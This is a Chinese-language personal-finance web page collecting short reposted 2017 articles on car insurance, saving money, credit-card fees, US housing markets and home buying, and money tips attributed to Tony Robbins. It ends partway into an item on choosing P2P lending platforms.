        如何根据需要选择套餐

        基本保障型:

        险种组合:交强险、车损险。

        适用对象:老车或者驾驶技术较好的车主

        特点:费用适度,保障基本风险,发生相关理赔,只能获得部分赔偿。

        经济保障性:

        险种组合:交强险、车损险、三者险、基本险不计免赔

        适用对象:精打细算的车友

        特点:性价比最高,车主最关心的大风险都有保障,保费不高。险种实用。

        最佳保障型:

        险种组合:交强险、车损险、三者险、基本险不计免赔、车上人员责任险、全车盗抢险、玻璃单独破碎险、划痕险

        适用对象:新手或高档新车

        特点:投保价值大,但对于新手来说物有所值。

        来源:生活百科网

        2017-05-11 / by / in ,
        五个理财小技巧让你既省钱又不影响生活质量
        现在很多人都在抱怨“钱不够”,原因主要有两点:一方面,自己本身就赚不多;另一方面,就是自己花钱从不打“草稿”,省不下钱或许会有人说,工作本就为了生活,就算赚了不多,也不能因省钱而降低生活质量。


        于是,钱永远不够。那如何才能在省钱的同时又不影响生活质量呢?国内知名财富管理机构嘉丰瑞德的理财师给出了以下5个技巧。

        1,巧用联名信用卡

        现在有不少银行会与一些商场,机场或是网站等进行合作,共同推出信用卡。这些联名信用卡不仅能使持卡人获得和普通信用卡无异的刷卡消费功能,还能享受到对应商场或是网站等提供的一定比例的折扣,增值服务等,可获双重积分。这就表示,拥有一张合适的联名信用卡能省去不少购物成本。

        不过,对于一些消费狂人来说,如果想省钱,那这样的联名信用卡还是免了,用用普通的借记卡更好。

        2,抓住促销,打折等时机

        看电影,出去吃饭或是购买各种商品,大家都可以利用团购,促销活动或是在专门的折扣时间去购买,都能便宜不少,时间久了,定能省下很多钱。

        但这边也要提醒大家,不要一看到打折,促销等这类字眼,就一个劲地买买买,这样不仅不能起到省钱效果,反而还要花更多钱。因为很多东西买回来并没有多大用处,最后都浪费了。此外,在一些电商购物节中也会藏有猫腻,买到的东西可能更贵。

        3,购买生活用品重质量

        家电,衣服等生活用品是我们平时会经常用到的,用得频率越高,那对他们的消耗也就越快。所以,在购买此类商品时,我们更应注重质量,减少购买频率,并达到长期的省钱效果。

        比如可以购买带有节能标志的家用电器,虽然买的时候可能花更多钱,但日后能省下不少电费;再比如衣服可以买简约合身,材质较好的,这样就可以多穿几年,而且也不会过时。

        4,记账并善用结余零钱

        记账可以掌握自己的消费习惯,知道自己每月的支出范围和结余金额,便于自己提前规划这部分资金,达到“钱生钱”的效果。

        或许每月的结余可能并不多,但嘉丰瑞德的理财师表示,如果将这部分钱存起来,积少成多并根据具体资金量做点投资理财,比如少的时候放在货币基金中,等累积到一定金额就配置稳利精选组合投资计划等产品,不仅能获得更多收益,也能更好地提高生活质量。

        5,健身未必需要健身卡

        减肥,健身是现在大家常讨论的话题,为了让自己拥有更完美的身材,有多少人曾一时冲动办了张健身卡?那然后呢?然后就没有然后了……

        因为不少人办完卡之后压根就没去几次,最后把钱都给浪费了。因此,与其办一张得不偿失的卡,倒不如通过其它方式健身。比如在小区附近跑个步,在家做几个仰卧起坐,跳跳绳等,既锻炼了身体,还省下不少钱。

        以上5点就是可以让你既省钱又不影响生活质量的小技巧,当然方法还有很多,大家一定要挑选最为适合自己的一些方法,让效果最大化。

        来源:生活理财网

        2017-05-11 / by / in , , , ,
        信用卡八大秘密 银行绝对不会跟你说

        信用卡给人们带来很多便利,超长的免息期、诱人的权益、丰富的开卡礼,但银行信用卡中心如何从人们身上赚钱呢?揭秘隐藏在信用卡背后的8大秘密,这些秘密银行不会告诉你。


        一、分期付款

        现在信用卡分期付款都没有利息,但是要收手续费,千万别小看了这个手续费,里面的门道太多了。举个例子:比如小M用信用卡买了台12,000元人民币的电脑,现在想分12期还款,每一期的费率为0.5%。表面上看起来费率很低,1年也就0.5%×12=6%,但是这样算不对,正确的年费率计算公式如下:

        年费率=12×每期手续费费率×分期期数/[(1+分期期数)/2]

        =24×分期期数×每期手续费费率/(1+分期期数)

        把数据输入这个公式计算一下。年费率=24×12×0.5%/(1+12)=11.077%

        11.077%几乎是6%的2倍,所以分期付款只是表面上看起来费率低而已。

        目前信用卡分期付款的种类繁多,最常见的有:消费分期、账单分期、现金分期、装修分期、购车分期等等。不管选择哪种分期付款都要三思而后行!

        二、账单分期提前还款

        信用卡账单分期是指信用卡持卡人使用信用卡刷卡消费后,向信用卡中心提出要求将消费金额分期归还给银行。每个银行对于账单分期收取的收费差别很大。但都有一个相同点:即使提前还款,每期的手续费都少不了!

        比如,小M用信用卡买了台12,000元的电脑,现在想分12期还款,每一期的费率为0.5%,那么每期的手续费为0.5%×12000=60元,也就是说小M每期要还1060元。6个月过去后,小M有钱了,想把剩下6个月的钱都还了,小M要给银行6360元,而不是6000元,因为每月60元的手续费不会因为提前还款而免除。而且有些银行还会加收提前还款的手续费。

        三、信用卡数量

        有些人认为信用卡办的越多越好,其实这也是个误区。

        先讲一点,在同一家银行开1张信用卡的额度和10张卡的额度是一样的。就是说,小M在银行的信用卡额度是10万,如果小M有1张信用卡,这张信用卡的额度就是10万,如果小M在同一家银行有10张信用卡,这10张信用卡就共享这10万的额度。

        另外,信用卡太多容易导致信用卡持卡人混淆每张信用卡的消费状况,从而导致还款拖欠现象的发生。

        还会导致信用卡积分的分散,享受的优惠不能集中,最终算来还是不划算的。

        四、信用卡不能当储蓄卡

        不少人为了方便,只用一张卡,并把多余的资金都放进信用卡,另外刷信用卡还可以积分,积分多了可以获取更多的优惠。其实这是不可取的。从信用卡里取现金有可能要交手续费。有些银行收取10元,有的收取20元,还有的收取25元,甚至30元。

        五、信用卡取现不免息

        好多人都认为信用卡取现和刷卡消费一样没有利息。但是实际情况并不是这样的。目前大多数信用卡取现,都是按照每天万分之五收取利息的,换算成年息可以达到18%左右。所以想从信用卡中取现的消费者,一定要三思!

        六、信用卡没密码

        信用卡安全问题也是大家最关心的。在中国,大家在刷卡的时候还是比较习惯使用密码,而不习惯签名。目前在国际上,信用卡则以签名作为消费凭证,商家负责核对签名。但是国内在实际操作中,并没有多少商家去花时间核对信用卡的签名。因此保险的做法是,在刷卡的时候,采用“密码+签名”的形式。

        七、额度上调不一定是好事

        在办信用卡的时候,大家最关心的就是额度。

        额度上调,后往往意味着消费增加,消费增加还款数量也会增加。信用卡额度上调的时候,许多人的还款习惯不一定能马上跟着改变。比如小M之前的额度是2万,现在想买车,于是小M打电话给银行要求把额度上调到5万,因为之前小M都习惯了额度2万时的还款节奏,把卡的额度上调到5万后,小M的还款习惯没有跟上。信用卡的额度提高可以给我们带来便利,但额度上调之后,一定要向银行谘询清楚到底怎么还款。

        八、全额利息

        在进行大额消费的时候,为了避免不良信用记录的产生,许多人选择了最低还款额来还信用卡欠款。但是许多人不知道,利息是从消费的那天起开始计算的。另外,在全部欠款还完之前,已经还的部分仍在计息基数之内。目前已经有一部分银行取消了这一规定,只对未还的部分收取利息。所以在使用这样服务的时候也一定要向银行谘询清楚。

        来源:moneyaaa

        2017-05-11 / by / in ,
        累积人生财富的13个方法,会一种就受用无穷!

        1、不要放弃学生时代所学

        大概很多人会说:“大学里学的东西,对现在的工作一点帮助都没有。”如果因此就将从前所学抛诸脑后,是很可惜的。


        人不太可能一辈子都做同一个工作,持续花心力在学生时代所学的学科上,非但不是浪费,在转职时反而能增加选择的机会。

        2、柔性思考,多角度阅读

        现今职务有细分化的趋势,在高度专业化之下,大家都竭尽所能加强专业知识,却造成不少人除了自己的专业之外,其他的事都不了解。

        3、每个星期给自己一个新的挑战

        心理学家表示,换穿新款式的服装或改变房屋摆设,可以给人新的刺激,具有“自我启发”的功效。

        长期处于安定的环境下,年轻人也会加速僵化衰老。

        所以每个星期给自己一个新的冒险吧!

        买本新书、到从来没去过的地方逛逛,给自己新鲜的刺激与活力。

        4、实际接触热门商品,思考其畅销的理由

        现今的年轻人可说都是用电视机喂养长大,鲜少关心社会脉动,因此也造成一进入职场就对社会变迁钝感,迈向老化一途。

        现代社会的变动速度惊人,若不跟上潮流,只有被淘汰的命运。

        对于畅销的产品,并不一定要购买,但应该要实际去感受思考,为什么会畅销。

        公司并不是图书馆,只想在办公桌前了此残生,那真的就像在养老了,多出去走动走动吧!

        5、放假时到热闹的地方去感觉时代的脉动

        据统计,居上班族休闲娱乐首位的就是“看电视”,占50%以上,剩下30%的人则是选择“睡大头觉”。

        当然在辛苦工作一周后,适当的休息是必要的。

        但休闲生活的品质也应该兼顾。

        趁休假时到百货公司、听音乐会等活动,能够看到许多平常没有机会看到的各形各色人物,说不定会启发新商品的构想。

        6、利用通勤时间做“定点观察”

        对于广大的公车族、火车族来说,通勤时间的运用也是一大学问。

        大部分的人可能都是发呆或打盹,要不然就是默默忍受拥挤之苦,到公司时已经筋疲力竭。

        其实,花一点心思,也能在上班的途中获得不少意外的收获。

        尤其每天相同的通车路线,刚好可以做定点观察,一样的区域、固定时间的观察,容易察觉到一个地方的改变。

        7、在星期天阅读一周的报纸

        报纸中有相当多即时性的消息,是吸收情报的重要管道。

        但每天一部份一部份的阅读,只是“点”的层面,利用星期天翻阅当周的报纸,对一个议题可以连接起“线”的层面,了解整个事情的来龙去脉。

        8、看报导不要只看财经新闻

        对于上班族而言,财经新闻当然是重点必读,但如果只阅读单一报纸,视野难免会过于狭隘,因此多翻阅几份,对磨练自己对新闻的敏锐度绝对有帮助。

        而其他的版面,体育版、文艺版也应该浏览一番,往往会有意想不到的有利情报。

        9、每周阅读一本书

        借由阅读习惯的养成,能帮助大家在知识爆炸的年代,充实资讯取舍的能力,在滚滚情报洪流中获得最有利的讯息。

        古典文学、世界名著、伟人传记、学生时代喜爱的读物,这些看来和工作不相干的书籍,能扩展视野,在人格养成及思考能力上会有很大的帮助。

        10、多和不同领域的人接触

        大体而言,我们和能谈论相同话题的朋友比较处得来。

        但事实上多接触不同领域的人,听听各行各业的工作概况和甘苦,能给予头脑新鲜的刺激,活化思考,是培养情报蒐集力的绝佳机会。

        刚开始工作的新鲜人,在增广见闻、开拓视野上是相当重要的。

        11、至少学习一种外文

        有不少上班族在学校毕业之后就和语言学习绝缘,尤其是在非国际性的公司工作,常常会疏于外文上的进修。

        以未来的趋势而言,有潜力的企业一定会朝向国际化发展,不趁年轻储备实力,等三、四十岁成为公司的中坚份子时才来学习,不但费力,也失去竞争力。

        12、每周给自己一个私人时间

        上班认真是值得嘉奖,不过一味埋首于工作可是会出现危机!

        每天反复于相同的工作中,是否有停下来为这些日子的工作绩效、人际相处、家庭关系等等问题做检讨与规划呢?

        习惯忙碌可能会让你变得盲目,每周给自己一个独处的时间,做做心灵的沈淀。

        13、不要吝惜自我投资

        市面上有所谓“在三十岁前致富”的书籍,或“二十五岁之前成为百万富翁”的报导,让一般年轻上班族也开始流行以金钱的累积作为工作的目标,对于进修或旅游增广见闻的投资就相对减少。

        年轻时代需要储存的应该是智慧、知识资产,“无形财”的累积才能创造人生最大的财富。

        从现在开始累积人生的财富一点也不迟!

        每个人都一定做得到,就从现在开始改变!

        2017-05-11 / by / in , ,
        投资有道!2017年哪三大行业最赚钱?
        投资资讯网站INVESTING.COM分析师Brian Gilmartin在周一(12月26日)发布报告称,展望明年的股市投资,有三大领域最可能赢得较高收益,这三个领域分别是能源、金融和高科技。


        能源行业在2016年第一季度和2017年上半年将会继续损失。百分比在扩大的同时,2016年第一季度和第二季度的可比基础也在缩小。而且,利润的修正将会继续走高;能源行业的营业收入预估及变化是有帮助的。2016年第四季度能源行业已经实现自2014年中旬以来的每股盈利EPS的正值和营收的增长。

        对2017年上半年来说,高科技仍是很有吸引力的。一些PE增长较高的高科技公司如FANG已起死回生。该行业在今年第三季度的收入增长是11%;而7月份所做的调查预期为2%。iPhone7原本预计销售不畅,但在新品销售的几周还是不错的。半导体公司已经火得不行了,Micron Technology上周预计2017年财政年度将翻倍。该公司预计2017年的EPS每股盈利将会达到2.37美元比之前预测的1.1美元要翻倍。

        金融业在2017年上半年将会较好,然后会褪色。2016年第四季度和2017年第一季度上涨,之后开始变慢。

        结论是,实际上这三大行业涵盖了标普500指数40%的成分股,能源和金融占比较大。明年在税务改革,放松管制和更激进的管理下,这三大行业的收入和利润都将会有较大的增长。

        来源:FX财经网

        2017-05-11 / by / in
        美国最火的房市在哪儿
        打算投资美国房地产?田纳西州的纳什维尔将会是投资者的最佳选择。

        据商业内幕报道,Zillow预测田纳西州纳什维尔将会是2017年美国房市表现最佳的城市。


        Zillow基于快速上升的房价、较低的失业率以及强劲的工资增速等三大指标,预测了今年十大最火热住宅市场排名。该网站预计2017年全美房屋价值将会上涨3%,并且西部城市的表现可能会超出全国平均水平。在全美所有大型都市区中,俄勒冈州的波特兰是全美今年涨幅最大的城市,波特兰2016年涨幅达到13%,之后是西雅图和达拉斯。洛杉矶是全美最值钱的都会区,价值达到2.5万亿美元。

        不过,也有“黑嘴”专家对美国经济的未来并不看好,甚至认为2017年美国将引发新一轮堪比当年“雷曼风暴”的全球金融危机。

        不管未来房市如何变化,以下是Zillow给出的2017十大最火热住宅市场排名:

        1.纳什维尔,田纳西州(Nashville, Tennessee):房屋预测升值4.3%;收入增长率1.1%;失业率4.0%

        2.西雅图,华盛顿州(Seattle, Washington):房屋预测升值5.6%;收入增长率1.0%;失业率4.4%

        3.普若佛,犹他州(Provo, Utah):房屋预测升值4.3%;收入增长率1.0%;失业率2.7%

        4.奥兰多,佛罗里达(Orlando, Florida):房屋预测升值5.7%;收入增长率1.0%;失业率4.5%

        5.盐湖城,犹他州(Salt Lake City, Utah):房屋预测升值4.3%;收入增长率1.0%;失业率2.8%

        6.波特兰,俄勒冈州(Portland, Oregon):房屋预测升值5.2%;收入增长率1.0%;失业率:4.8%

        7.诺克斯维尔,田纳西州(Knoxville, Tennessee):房屋预测升值4.4%;收入增长率1.1%;失业率4.7%

        8.奥格登,犹他州(Ogden, Utah):房屋预测升值4.7%;收入增长率1.0%;失业率2.9%

        9.丹佛,科罗拉多州(Denver, Colorado):房屋预测升值3.6%;收入增长率1.0%;失业率2.9%

        10.萨克拉门托,加州(Sacramento, California):房屋预测升值4.8%;收入增长率1.0%;失业率5.2%

        来源:侨报

        2017-05-11 / by / in
        在美国首次买房一定要注意的事项
        购房对美国人来说是人生大事,是实现美国梦的象征。一般而言,美国首次买房者的平均年龄为31岁,如果你已步入这个年纪,那么你在买房之前不得不考虑以下的几件事情:

        1、评估需求

        确定在这一时期美国买房或租房哪个更适合你,你是否在不久的将来计划结婚或生子;你的工作是否稳定,不管你打算长期从业这一职业还是渴望尝试新的东西。总之,请确保你此时需要有一个家,并且你已为此做好了心理准备。

        2、数学计算

        许多人在考虑购房时都将注意力集中在首付上。是的,首付需要一大笔钱,但你也需要把其他的前期成本考虑在内,如税金、财产保险和交易费用等。通常,保险费率与物业税因州而异,所以你需要做一定的核算。同时,交易费包含很多专案,如贷款审批费、评估费以及产权保险等。有时这些费用加起来也会大得惊人,所以要提前了解这些情况。


        买房前不能只考虑首期,还需要考虑其他费用。(网络图片)

        3、做好准备

        你要将所有档准备好以便整个过程进展顺利。在多数情况下,你在美国买房过程中所需要准备的档有政府颁发的身份证件、信用报告(每年可免费获取的副本)、W-2表格、雇主证明、联邦纳税申报单以及银行和资产报表等。其中有些档也可有助于你了解自己的购房能力。

        4、仔细选择

        房子可能是你购买的最大物品,所以要像购买汽车、电视或沙发等其他大件一样,货比三家。尽管这会花费你很多时间,但却是必要的。你可先与持证的地产代理进行接洽,或在相关网站上进行搜索。

        5、该退则退

        对于一个近乎完美的房子,如果你对于买下它没有十足的把握,请把它留给其他买主。在你做出购房这一决定前,你要确保能偿还每月的按揭贷款。

        有关房屋估价的注意事项:

        估价是房地产的一个关键资料来源,以下是你应知道的有关房屋估价的事项:

        1、贷款业人员互持错误看法:一些放贷业者和地产经纪认为估价师的工作是促使交易完成,其实估价师的工作应该不偏颇,完全独立于交易之外,同时务实。

        2、估价师的估价,只是对物业价值的意见,无关买卖双方想支付或要求的价钱。若估价过低,放贷业者无法接受买方的房贷申请,卖方就需降价,或是买方拿出更多现金,才能完成交易。但是估价并非不能更改,若涉及交易的任何一方认为估价离谱,多数估价公司提供相关程序来调整估价。

        3、可获得的资料决定估价结果:多数市场有综合列销服务(MLS),估价师可从中获得多数资料。但是新房或乡间房屋则较容易有问题,估价师的资料往往不全、不正确或过时。


        美国的房价受社区影响很大。(网络图片)

        4、房价受社区影响:在一个20万元的社区,花10万元装修,不大可能使房子增值10万元。

        5、房价的任何调整,都需有确实数据来支持,才能通过法庭检视。

        6、放贷业者的准则并不清楚,虽然所有业者都尽可能遵守房利美(FannieMae)和房地美(Freddie Mac)的规定,或是退伍军人事务部和联邦住房管理局(FHA)的规定,但是每个业者提出的条件和要求都不同。而且多数承销商在估价方面未受过适当训练,所以有时估价师会碰到不合宜的规定。

        7、估价是全时间的职业,通常估价师一天进行一宗或两宗估价。

        8、估价师应有执照,熟悉估价的物业所在社区。估价师的执照不好拿,需花两年时间,上300多小时的课,和3000多小时的实习。

        9、估价不是检验房屋,验屋员的工作是确保所有机械和系统都运作正常,而且没有结构问题。估价师的工作则是观察房子,与社区类似房子进行比较,然后提出估价。也就是说,估价师通常假设房子各项设备运作正常,验屋员则需确认运作正常,如果你在美国买房,这一点你必须要了解清楚。

        来源:美国房产网

        2017-05-11 / by / in , , , ,
        一位不为人知的理财大师的20个生钱祕技
        美国的励志家托尼·罗宾斯通过帮助别人成功来获取财富。这些年来,罗宾斯教给人们不少理财经验。

        虽然在国际上知名度不高,但是企业家、畅销书作家、知名人生与商业战略师托尼·罗宾斯已经向5,000余万人传授了关于个人与职业发展的重要经验。罗宾斯自幼出身贫寒,经历多年的努力,才积累了巨额的财富。他的理财经验值得我们关注,本文将之归纳为20条。

        1

        成为投资人

        罗宾斯曾指出,如果你想更快地实现自己的财务目标,就要养成投资的习惯。他曾在LinkedIn上写道:“你必须成为一名投资者,不管投资的金额有多小,这样你才能享受到复利的力量。”

        在接受《Inc.》杂志采访时,罗宾斯讲述了一名UPS货车司机的故事。他每年只赚14,000美元,但他退休时已经坐拥7100万美元的财富,因为他每年都把20%的收入用于储蓄。正是储蓄的习惯和复利的力量为他创造了源源不断的财富。

        罗宾斯建议,如果你觉得自己没有余钱用于投资,你可以想方设法削减一些支出。他表示:“投资能确保你在最急着用钱的时候有足够的钱用。”

        2

        主动规划理财

        说到储蓄和赚钱,重要的是进行主动的管理。罗宾斯表示,你得做到“不当棋子当棋手,一劳永逸地掌握金钱游戏的真谛。”

        不管你是正在建立一项预算,还是想控制一下自己的投资,都不要忘了你的理财大计。最重要的是不要害怕失败。毕竟就像罗宾斯所说的那样,失败也是成功的一个重要部分。

        3

        承担小风险,换取大回报

        罗宾斯并不讳言风险的存在。但他认为,风险总是有办法管理的。他在2015年为《财富》撰写的一篇文章中写道:“世上没有零风险的回报,世界上的每位理财大师无一例外地会告诉你,要寻找风险与回报不等价的投资渠道。”

        罗宾斯表示,要实现这个目标,你可以利用“五比一”法则。也就是说,“每承担1美元的风险,你要有能挣5美元的前景。这样你连错4次也没关系,只要第五次对了就能扳平。”即要承担小风险去换取大回报。

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        省钱比挣钱重要

        罗宾斯对GOBankingRates表示,很多人都看重他们的投资,特别是极为重视投资收益。“但是你挣多少并不是最重要的,重要的是你省了多少。如果你的投资组合的节税性不高,那么有相当一部分应该存下的钱就会被交了税。”

        罗宾斯表示,随着时间的推移,如果你的投资组合没有考虑到节税的问题,税就将严重蚕食你的收益。在这方面,你可以考虑向专业人士寻求帮助,比如去找一名特许金融分析师或认证财务规划师等等。

        5

        用多样化理财方式降低风险,实现收益最大化

        多数投资者都明白多样化的投资组合能够降低风险的道理,因为你没有将所有的鸡蛋都放进同一个篮子里。不过罗宾斯表示,多样化投资并不意味着随机地投资一系列股票和债券。

        有一种正确的多样化投资是购买费用较低的指数基金。“通过投资这种基金,你就能以最低的成本投资最多的证券。”

        6

        用低成本的指数基金代替高成本的共同基金

        罗宾斯之所以特别青睐指数基金,不仅仅是出于多样化投资的考虑,还因为它们的费用低于主动管理型基金。费用为什么这么重要?因为它们会蚕食你退休账户里的收益,留给你的钱就更少了。

        罗宾斯在发表于Business Insider网站上的一篇文章中引用了《福布斯》杂志2011年的一份报导,称持有一支共同基金的平均成本是每年3.17%。相比之下,一支追踪标普500指数的指数基金的费用还不到0.14%。

        “光是抛掉昂贵的共同基金,用低成本的指数基金取而代之,你就有可能拿回未来70%的养老钱。”他写道。

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        停止不过大脑的花销

        想把每一分钱都花在刀刃上吗?那就要像罗宾斯说的那样,“花钱要花在能显著提高生活质量的事物上,停止不能给生活带来任何价值的无脑开销。”

        罗宾斯表示,在不需要的东西上花的钱如果积少成多,也是相当吓人的。比如如果你每周花40美元出去吃饭,而不是跟亲友在家吃饭,那你每年就要多花掉2000美元。如果你把这笔钱用于投资,每年能获得8%的投资回报,坚持40年,你就攒下了50多万美元。

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        专注于你能控制的东西

        罗宾斯曾指出,要想成功,你就别纠结于自己无力控制的东西,而是要专注于自己能控制的东西。他在领英上写道,一个人可以通过不断提高自己来控制自己的将来。“我可以找到一种方法去服务大众,去做更多事,去成为一个更好的人,去为整个市场增加价值。”

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        别关心要做的事,只关心结果

        领英曾请罗宾斯谈谈如何提高工作效率。对此,罗宾斯表示,人们应该扔掉他们的待办清单。你可能觉得,像罗宾斯这样一位领导力和绩效方面的权威人士,肯定会建议我们经常记下待办的事情,然而事实并非如此。

        罗宾斯写道:“待办清单最大的问题是,你就算专心做完了该做的事情,也不能保证你能获得任何实际的进步。”所以你应该明确自己真正想要什么,然后集中所有精力朝着这个结果去努力。

        “如果你继续通过待办清单打理你的生活,你只会感到长久的心理失衡和沮丧。因为你知道自己工作得很努力,但在对你的生活真正重要的各个方面却没有任何进展。”

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        执行就是力量

        不断学习是一种非常重要的人生态度。罗宾斯本人的一种学习方式就是与那些勇于打破现状、彰显各种可能的人交往。但更重要的是,你要善于将所学到的经验应用到实际中。

        他在2015年为MarketWatch网站撰写的一篇文章中写道:“每周或每天进步一点点,不知不觉中,你通往财富自由的道路就实现了。”

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        注意哪些东西有用,哪些没用

        作为一名商业和人生战略师,罗宾斯总会问别人,他们的人生真正想要的是什么。要回答这个问题,你就要先想想哪些事物对你有用,哪些事物对你没有用。

        他对《成功》(Success)杂志表示:“注意哪些东西有用,哪些没有用。如果它没有用,那就换条路走,直到你最终达到了自己的目标。”

        这条经验适用于生活的所有方面,也包括理财。如果你少花钱、多存钱的办法不管用,就换另一种方法。如果你拚命想还债,结果却适得其反,就要采取另一种策略。关键是要从之前犯的错误中吸取教训。

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        效法其他人的成功策略

        罗宾斯建议,要实现你的商业或人生目标,你不妨效法某个已经实现了这个目标的人。

        “他们有很多亲测有效的策略。”他对《成功》杂志表示:“这样你就不必闭门造车、走一条没人走过的路了。”

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        提高标准

        如果你在经济上成就不高,或许是因为你对自己的标准太低了。你可能认为自己这辈子也没有迎娶白富美、走上人生巅峰的命。而你的人生轨迹恰恰是基于这些自我认知的。因此,如果你提高了你的标准,还是能够改变人生的。

        “改变和目标是两码事。你不一定总能实现你的目标,但你总有一个标准。”如果你认为某件事物对你来说是必需的,只要你提高了这个标准,你就总能找到一条能够达到目的地的路。

        要提高你的标准,首先要看看你的局限性,问问自己,你是什么时候习惯了这样画地为牢的。然后再以一个新的标准定义自己。

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        扩大资源

        大多数人在没有实现目标的时候,都会归咎于自己缺少资源。他们可能会说,他们没有成功所必需的支持、财力或时间。这种看法只会阻碍他们获得成功。

        “领导者所做的事,就是想方设法扩大他们现有的各种资源,不管它有多不起眼。”而智慧能将你脑中的创意变成某种了不起的东西,因此罗宾斯也将其称之为“终极资源”。

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        不要自己破坏自己的理财大计

        罗宾斯表示,自我破坏是让人无法实现理财目标的第一大敌。人们之所以会破坏自己的理财计划,往往是由于到了某个层次以后,他们会觉得理财的痛苦大于享受。他们可能会过于纠结金钱带来的负面问题——比如担心自己挣得越多,缴的税就越多。

        罗宾斯在一段讲课视频中指出:“只有你的核心信念变了,你的财产才会变。”你应该多想想没钱的痛苦,并且把它写下来,然后再想想有钱的好处。这种方法能促使你改变自己的心态。

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        用恐惧推动自己前进

        每个人都有自己害怕的事。罗宾斯表示,你并不需要完全克服那种恐惧,但你需要用它来推动自己前进。

        罗宾斯在发布于Business Insider上的一则视频中表示:“要想克服对失败的恐惧,最简单的方法,就是更害怕不采取任何行动。”你最应该担心的是过上一种远远不是你想要和你应该过上的生活。

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        制定一份商业地图而非商业计划

        如果你经营着一家企业,那你需要的不只是一份商业计划,因为它过几年就会过时。

        “在当今不断变化的市场和经济条件下,唯一的真正的竞争优势并不是拥有一份商业计划,而是拥有一份能带你从你所在的地方到你想去的地方的商业路线图。”罗宾斯在领英上写道。

        罗宾斯指出,像星巴克、苹果、Toms和Facebook等公司都已经对自身进行了重新定义,以保持竞争优势,抓住市场机遇。“对于这些公司,他们这样做所产生的结果是极其惊人的。”

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        问正确的问题

        罗宾斯在他的著作《掌握金钱游戏》(Money: Master the Game)中写道,成功的人会问正确的问题。比如,微软创始人比尔·盖茨并没有问自己怎样才能做出最好的软件,而是问自己如何才能创建一个能够控制所有电脑的操作系统。

        罗宾斯写道:“要想获得结果,你不能只问一遍问题,而是要执着于寻找最好的答案。”

        普通人问的问题经常会把他们引到死胡同,而不是找到解决方案。比如他们会问“这种事为什么会发生在我身上?”而罗宾斯则会问“我怎样能把事情做得更好?”他写道:“你是否意识到了自己最关注的问题,也就是你生活中最主要的问题是什么?不管是什么,它都会塑造和引领你的人生。”

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        别以为金钱会让人生更有意义

        罗宾斯自己也赚了很多钱,但他并不认为我们任何人的人生意义是金钱赋予的。

        “有些人将他们的资产净值等同于他们的人生价值。他们的身份与银行存款和投资报告紧密地联结在一起,忘了金钱只是一种工具,它的意义是满足我们的需求,而我们所有的需求几乎都跟钱没什么关系。”

        罗宾斯写道,人生在于创造意义,而意义来自于你给予了什么。“金钱留给你的永远只有空虚,除非你将它贡献出去。如果你要从金钱里寻找意义,你就要付出很高的代价。”

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        有进步就有快乐

        罗宾斯在一段励志视频中说道,进步等同于快乐。“如果我们能经常进步,我们就会感到生气勃勃。”

        然而你不可能整天只是期待进步的发生。你要以另一种角度看待生活。罗宾斯表示:“你应该说:‘我得控制一下这件事的进展,不能只是希望事情能自己解决。’”

        来源:360doc

        2017-05-11 / by / in ,
        买不买房都学起来 5种简单存钱方法
        成功往往不是知道比较多方法,而是赢在持之以恒的耐力,不想当月光族、穷忙族就开始理财,从小额存款开始吧。

        不想当月光或穷忙族,开始试着理财,并且持之以恒.

        1.记帐:总是不清楚自己金钱的流向,也就不知道要从何省起。

        不过,记帐需要“耐烦”与“有恒”,许多人实行一周后便举手投降,

        因此专家建议不要太琐碎,分大项目即可。

        2.能用现金就不要刷卡:有研究显示,使用信用卡的“无痛感”会让支出多出20%。

        3.不要“自动扣款”:与刷卡的道理相同,实际看过帐单后,从户头领钱亲自缴款,让支出更有“真实感”,会更注意到这项花费。

        4.不厌其烦的“寻找优惠”:省下一块钱,才是赚了一块钱,省钱就是存钱。不要与贪小便宜画上等号,同类相似的产品,能买到较实惠的价格就不当“肥羊”。

        5.零存整付:此种定存概念最适合有固定收入上班族,每个月固定将一笔钱存到帐户,以复利的方式滚钱,到期一次把本息领出来,简单便利。

        时机歹歹,赚的钱能稳稳存下来才是王道。

        来源:好房网

        2017-05-11 / by / in ,
        让你的财务生活:从有压力到无压力
        多年来,投资顾问一直在写道,如果人们只是开始在生活中早日开始储蓄或投资,他们大部分的资金问题将在以后的生活中得到解决。显然,有些问题会出乎意料,但是,如果你早点开始,大多数情况下,

        将有更好的退休机会、更多地旅行机会,并能够与家人和子孙一起度过更多的时间。

        但是,就算书籍、杂志和网络上有很多建议,专注第三方理财宜盛宝理财师也强调过无数遍,很多年轻人还是不会比父母更早开始理财规划。

        所谓有其父(母)必有其子,在这里并不是个好榜样。

        我们将向您你展示如何采取一些简单的步骤,通过控制现状来扭转财务是未来,让你从有压力到无压力。

        作出承诺

        首先,你应该向自己保证,在接下来的三天里,你会:计划采取四个非常简单的步骤,增加获得安全的财务未来的机会。

        今天向自己承诺:现在,从这一分钟开始,你未来将不会因为财务意外或陷阱而感到惊讶,因为你会相应地进行规划。一开始不要逼自己太紧,宜盛宝理财师不是在说要你放弃每天的“星巴克”。

        这将是一个终身的过程,但重要的是我们要早点开始。这个“金融朝圣”没有确切的日期,所以你不会耽误任何工作,不会错过任何音乐会,不会取消观看任何运动联赛。

        循序渐进

        这听起来太容易了吗?嗯哼,就是这样容易。所以,让我们开始吧。以下是步骤:

        1.准备好文件夹,随便到超市或者文具店买些便宜的就好。

        2.获取自己的对账单,信用卡、电话费、上网费、保险信息、用户名和密码等。这些信息你可能会在之后的日子里需要,但是又容易忘记或者找不到。例如你退货的时候总是找不到必须一同退回的收据,或你永远不会记得的购物网站密码。现在将所有这些信息、账单和收据存入你刚购买的文件夹里,以便让财务变得有调理。确保在新单据和信息到来时,继续将它们添加到这些文件夹中。你的目标是保持这些文件的安全性并及时更新整理,以便你可以随时找到实际需要的东西。

        3.获取你的信用报告。中国人民银行征信中心就能提供个人征信服务,很简单,也很权威。持续查询自己的信用报告,因为你需要确保在开始某项财务活动时,可以根据准确的信息开始作出决定。宜盛宝理财师认为知道自己的信用和现状,始终是考虑做出财务决定的好开始。

        4.现在,你掌握了所有这些信息,能够开始弄清楚自己的现状。首先查看所有最新的账单,看看是否有任何费用,可以消除,而又不会改变你太多的生活方式。例如,如果你有手机,是否每个月都会用完通话时数?在社交应用如此流行的时代,花那么多月租费包短信是否还有意义?所以你能更改套餐,节省一些话费吗?削减费用就是这样,一点一滴、积少成多。

        来源:102like

        2017-05-11 / by / in ,
        避免亏钱的理财技巧
        1、选择合适的平台。作为一名理财新手,选择合适的理财平台是至关重要的一点。以当下火热的P2P平台来说,每个P2P平台都有各自不同的特点,投资人需要提前做好功课来进行判断,选择合适的平台。参考:P2P网贷理财平台怎么选择最好?

